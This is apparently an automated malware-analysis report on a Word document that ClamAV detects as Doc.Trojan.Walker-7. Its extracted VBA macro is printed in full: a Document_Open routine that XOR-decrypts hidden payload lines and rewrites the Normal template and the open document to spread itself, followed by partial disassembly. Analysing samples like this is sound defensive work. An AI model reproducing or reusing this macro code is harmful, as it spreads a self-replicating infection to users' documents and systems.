MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a critical ClamAV detection for 'Doc.Trojan.Walker-7', indicating it is a known malicious document. The presence of a 'Document_Open' VBA macro, along with heuristics indicating macro source code, confirms the execution of malicious code upon opening. The macro employs obfuscation and decryption routines to execute its payload, likely downloading or executing further stages.
Heuristics 3
-
ClamAV: Doc.Trojan.Walker-7 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Walker-7
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10379 bytes |
SHA-256: 8b8f1b67a4936b2b68309cc545d3ee080a5d6781431ed313ae3e7708de31dd7c |
|||
|
Detection
ClamAV:
Doc.Trojan.Walker-7
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'wEiRd GeNiUs
'Document
Private Function encr(s, k As Integer)
Dim r: r = "": For f = 1 To Len(s): r = r + Chr((Asc(Mid$(s, f, 1))) Xor k): Next: encr = r
End Function
Private Sub Document_Open()
On Error Resume Next: W = 0
WhereAmI = NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(43, 1)
If WhereAmI = "'NormalTemplate" Then Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule Else: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule
With Iam: Z = .CountOfLines - 28: For X = 62 To Z:
If W = 20 Then W = 0
decrypt = .Lines(X, 1): W = W + 2: Y = Len(decrypt): Y = Y - 1: decrypt = Right$(decrypt, Y): .ReplaceLine X + 21, encr(decrypt, (W)): Next X: End With
Call ThisDoc: Set Iam = NormalTemplate.VBProject.VBComponents(1).CodeModule: Flag = 0: GoTo Over
Again: Set Iam = ActiveDocument.VBProject.VBComponents(1).CodeModule: Flag = 1
Over:
With Iam: For X = 83 To 102: .ReplaceLine X, "'": Next X: End With
If Flag = 0 Then GoTo Again
NormalTemplate.Save: ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument: End Sub
'----------------------------------------------------------------------
Private Sub ThisDoc()
'Ml"Gppmp"Pgqwog"Lgzv
'Etthmgepmkj*AjefhaGejgahOa}$9$s`Gejgah@mwefha`
'Ivroihu(PotsuVtirceroih&;&@gjuc
'Gx|agf{&[i~mFgzeidXzgex|(5(Nid{m
'Yo~*Ki~Ikxxcox*7*Ki~c|oNei god~$\HZxe`oi~$\HIegzedod~y";#$IenoGen fo
'_ix,Bc~aOm~~ei~,1,Bc~am`Xia|`mxi"ZN\~cfiox"ZNOca|cbibx $=%"OchiAchy`i
'@G.3.@a|cobZkc~bozk XL^|adkmz XLMac~a`k`z}&?' MajkCaj{bk Bg`k}&:<".?'
'QY0-0QsdyfuT se}u~d>FR@b zusd>FRS }` ~u~dc8!9>S tu] te|u>\y~uc8$"<0!9
'[t2GQsaw:\[;2/205EW[@V2UW\[GA02Fzw|2\}` [|afs~~wv2/2F`gw2W~aw2\}` [|afs~~wv2/2Ts~aw
']r4AWugq<Z]=4(*463CQ]FP4SQZ]AG64Uzp4AWugq<Z]=4(*4664@|qz4Ql}`4Gav
'Kd"WAcqg*CK+"?" %UGKPF"EGLKWQ "Vjgl"CavKlqvcnngf"?"Vpwg"Gnqg"CavKlqvcnngf"?"Dcnqg
'Mb$QGewa,EM-$8:$&#SAMV@$CAJMQW&$Ej`$QGewa,EM-$8:$&&$Plaj$A|mp$Wqf
'O`&HitkOhurgjjcb&;&Rtsc&Ghb&GerOhurgjjcb&;&Rtsc&Rnch&C~or&Usd
'An(FgzeAf{|iddml(5(Nid{m(\`mf2([m|(Afnmk|agf(5(FgzeKizzamz2([m|(Kizzamz(5(Ik|Kizzamz2(Md{m2([m|(Afnmk|agf(5(Ik|Kizzamz2([m|(Kizzamz(5(FgzeKizzamz
']c~b*Ikxxcox0*\cxIeno*7*$Fcdoy";&*$Ie d~ElFcdoy#0*Odn*]c~b
'[exd,Ebjioxecb6,"Hi`ixi@ebi ,= ,"OcybxCj@ebi 6,"Eb i~x@ebi ,= ,Ze~Ochi
'Gh.@a|cG`}zobbkj.3.Hob}k.Zfk`. \k~bomkBg`k.:=".,)@a|cobZkc~bozk,.Kb}k. \k~bomkBg`k.:=".,)Jam{ck`z,
'U~t0Gydx
'Asffw~{fw2d#<"
'Sattelite v1.0
'--------------------------------------------------------------
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
End Sub
' Processing file: /opt/analyzer/scan_staging/82890b1bb4b34cc8902e7b6144da0caf.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6773 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
' Line #16:
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' Line #22:
' Line #23:
' Line #24:
' Line #25:
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' Line #30:
' Line #31:
' Line #32:
' Line #33:
' Line #34:
' Line #35:
' Line #36:
' Line #37:
' Line #38:
' Line #39:
' Line #40:
' Line #41:
' QuoteRem 0x0000 0x000C "wEiRd GeNiUs"
' Line #42:
' QuoteRem 0x0000 0x0008 "Document"
' Line #43:
' FuncDefn (Private Function encr(s, k As Integer, id_FFFE As Variant))
' Line #44:
' Dim
' VarDefn r
' BoS 0x0000
' LitStr 0x0000 ""
' St r
' BoS 0x0000
' StartForVariable
' Ld False
' EndForVariable
' LitDI2 0x0001
' Ld s
' FnLen
' For
' BoS 0x0000
' Ld r
' Ld s
' Ld False
' LitDI2 0x0001
' ArgsLd Mid$$ 0x0003
' ArgsLd Asc 0x0001
' Pare
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.